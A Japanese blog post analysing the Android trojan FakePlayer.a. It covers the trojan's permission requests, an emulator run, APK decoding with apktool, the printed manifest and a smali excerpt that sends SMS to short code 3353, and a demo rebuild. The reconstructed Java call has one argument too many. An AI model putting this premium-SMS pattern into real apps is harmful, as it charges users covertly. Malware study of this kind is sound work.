トロイの木馬「Trojan-SMS.AndroidOS.FakePlayer.a」を調べてみる

2010年8月、Kaspersky Lab が Android で動作する「Trojan-SMS.AndroidOS.FakePlayer.a」(以後、AndroidMalwareと呼称)を確認したと発表しました。このトロイの木馬を見てみたいと思い探したところ、contagiodump がそのトロイの木馬提供していました(要パスワード)。ちょうどAndroid について色々と調べたいと思っていたので、このトロイの木馬を調べてみました。

Android はまだまだ分からないことばかりなので、間違い等があれば教えてください。

結論

「Trojan-SMS.AndroidOS.FakePlayer.a」は、特定の宛先に対して 3 通の SMS メッセージを送信するだけのアプリのようです。このトロイの木馬を調べることで、Androidデバッグ環境や Android SDK に触れましたが、デバッグ環境やドキュメント等は充実しているように感じました。ただ、「AndroidMalware の稼動条項をどうやって確認すればいいんだ?」とか、「Samli コードのドキュメントはどこにあるんだ?」とか分からない点も多くありました。今後もちょこちょこ調べていくつもりです。

AndroidMalware をインストールするときに要求される権限を確認する

まずはインターネット経由で AndroidOS に AndroidMalware をインストールしてみました。この手順は、このインストール時に AndroidMalware がどのような権限の許可を求めてくるかを確認するためのものです。実際に AndroidMalware をインストールしようとすると、3 つの権限を要求されます(下図)。

許可を要求される 3 つの権限のうち、「電話/通話」「料金の発生するサービス」の "SMS メッセージの送信" に関しては、Media Player に必要ない権限だと感じます*1。きちんと Android アプリの説明を読んだ上で、この許可を要求される権限を読めば、「あやしい・・・」と感づきそうですね。

Android Emulator に AndroidMalware を実行してみる

続いて、実際に AndroidMalware を実行してみます。自分の Xperia にインストールすることも考えてみましたが、さすがに挙動のよく分からないものをインストールするのはやだな。ということで、Android SDK に同梱されている Android Emulator 上で実行してみることにしました。

Android Emulator を起動する

まず次の手順で Androidデバッグ環境の一つである Android Emulatorを起動します。

  1. Android SDK をダウンロードする(ダウンロードはここから
  2. SDK に同梱されている「SDK Setup.exe」を実行して、必要なツール群をダウンロードする
  3. SDK の tools/android.bat で、AVD(Android Virtual Device)を作成する。AndroidOS のバージョンは 1.6 を指定する*2
  4. SDK の tools/emulator.exe を実行する。実行時には 3.で作成した AVD を指定する

上記の手順を実行すると、Android Emulator が起動します(下図)。なお、下図は Android「設定」アプリにて Locale を Japanese に設定変更した後のものとなります。

Android Emulator に AndroidMalware をインストールする

Android Emulator を起動しておき、Androidデバッグツール Android Debug Bridge(ADB)を使用して、Android Emulator で動作している Android OS に AndroidMalware(Ru.apk)をインストールします。

AndroidMalware をインストールする手順は次の通りです。文頭が※の行は僕のコメントです。

G:\android>cd tools
※ここでは「G:\android」を Android SDK をインストールしたフォルダと仮定

G:\android\tools>adb devices
List of devices attached
emulator-5554   device

G:\android\tools>adb -s emulator-5554 install RU.apk
403 KB/s (0 bytes in 12927.000s)
        pkg: /data/local/tmp/RU.apk
Success

AndroidMalware をインストールすると、Android アプリの一覧に「Movie Player」が追加されていることが分かります。

AndroidMalware を実行してみる

AndroidMalware のインストールも完了したことから、このトロイの木馬を実行してみた。が、起動時にちらっと起動画面が出た後、何も起きていないように見えました。トロイの木馬を実行したときに Dalvik Debug Monitor Server(DDMS)Android Monitor のログを見ていたところ、トロイの木馬を実行したときにエラーが発生していました(下図の反転部)。トロイの木馬が正常に起動していないかもしれませんトロイの木馬が正常に起動していない原因が Emulator 依存か、その他 Android の設定に依存しているかは分かりません。

AndroidMalware の .apk をデコードしてみる

android-apktool を使って、AndroidMalware の .apk パッケージをデコードしてみます。このツールは、同マルウェア解析記事で知りました。

android-apktool をダウンロードし環境を整えたら、次のように apktool を実行します。

G:\apktools-1.3.1>apktool.bat d RU.apk RU.apk_decode
I: Baksmaling...
I: Loading resource table...
I: Decoding resources...
I: Loading resource table from file: C:\Documents and Settings\Administrator\apktool\framework\1.apk
I: Copying assets and libs...
AndroidManifest.xml

デコードしたファイル群の中に、Android アプリのファイルに該当する AndroidManifest.xml があります。まずは、この xml ファイルをみてみます。AndroidManifest.xml は次のようになっていました。

<?xml version="1.0" encoding="UTF-8"?>
<manifest package="org.me.androidapplication1"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <application android:icon="@drawable/icon">
        <activity android:label="Movie Player" android:name=".MoviePlayer">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
    <uses-permission android:name="android.permission.SEND_SMS" />
</manifest>

この xml ファイルで注目するのは、<activity> エレメント(5-10行目)、<uses-permission> エレメント(12行目)の 2 つです。それ以外はないんですけどね。

エレメントでは、AndroidMalware を実行するときに読み込む class 等を定義します。AndroidMalware が実行すると、org.me.androidapplication1.MoviePlayer クラスが読み込まれます(ドット「.」から始まる場合、パッケージ名を省略したことになる)。 エレメントでは、「どんなときにこの Android アプリが起動できるか」といった点を定義していると理解しています。この xml ファイルでは、Android アプリの一覧にこのアプリを追加することを意味しています(ここの例示と同じ)。 エレメントの説明を一行にまとめると、「Android アプリの一覧から実行されたら、org.me.androidapplication1.MoviePlayer クラスを読み込んでね!」というところでしょうか。

エレメントでは、AndroidMalware が動作する上で必要な権限を AndroidOS に要求します。この xml では、android.permission.SEND_SMS を AndroidOS に要求しています。この android.permission.SEND_SMS は、「SMS を送信する」権限を要求しています*3(名前通りですね)

MoviePlayer.smali

apktool で .apk をデコードすると、class ファイルが samli コードで出力されます。AndroidMalware を実行したときに読み込まれる MoviePlayer クラスの samli コードを見てみます。なお、Smali については、こことか、ここを参考にしていますが、分からないとこが多いので、推測が混じっている点に注意してください。

MoviePlayer.smali をみると、以下に SMS メッセージを送信するコード(一部抜粋)がありました。他 2 箇所に同様のコードが確認できました。このことから、AndroidMalware を実行すると、計 3 通の SMS メッセージが送信されると考えます。

    .line 35
    invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;

    move-result-object v0

    .line 54
    .local v0, m:Landroid/telephony/SmsManager;
    const-string v1, "3353"

    .line 55
    .local v1, destination:Ljava/lang/String;
    const-string v3, "798657"

    .line 57
    .local v3, text:Ljava/lang/String;
    const/4 v2, 0x0

    const/4 v4, 0x0

    const/4 v5, 0x0

    :try_start_0
    invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V
    :try_end_0
    .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0

上記の Samli コードをもとに該当箇所の Java のソースコードを想像してみると、以下のようなものになると考えます。

  SmsManager MySmsManager = SmsManager.getDefault();
  String dstStr = "3353";
  String msgStr = "798657";
  try{
    MySmsManager.sendTextMessage(dstStr, null, msgStr, null, null, null);
  }catch(Exception e){
    ...
  }

デモ用 AndroidMalware を作成して動作させる(2010/08/19 追記)

デコードした AndroidMalware に次の修正を加えて、デモ用 AndroidMalware を作成してみました。

  • SMS メッセージの宛先を "3353", "3354" から自分の番号に変更する
  • Android Emulator で動作させたときにエラーが出ていた SQLite3 関連のコードを削除する

デモ用 AndroidMalware を自分の Xperia にインストールして、動作させました。インストールするだけでデモ用 AndroidMalware は動作しません。明示的に Android アプリのランチャーから実行する必要があります。デモ用 AndroidMalware を実行すると、SMS メッセージが 3 通届きます(下図)。このデモ用 AndroidMalware は起動する度に SMS メッセージ 3 通送信します。実際の AndroidMalware は、"3353" 宛に 2 通、"3354" 宛に 1 通 SMS メッセージを送信します。


*1:Media Player の付加オプション等で必要となる可能性もゼロではないですが

*2:自分の持っている Xperia(SO-01B)を意識しました^^

*3:Manifest.permission で権限の一覧を確認できます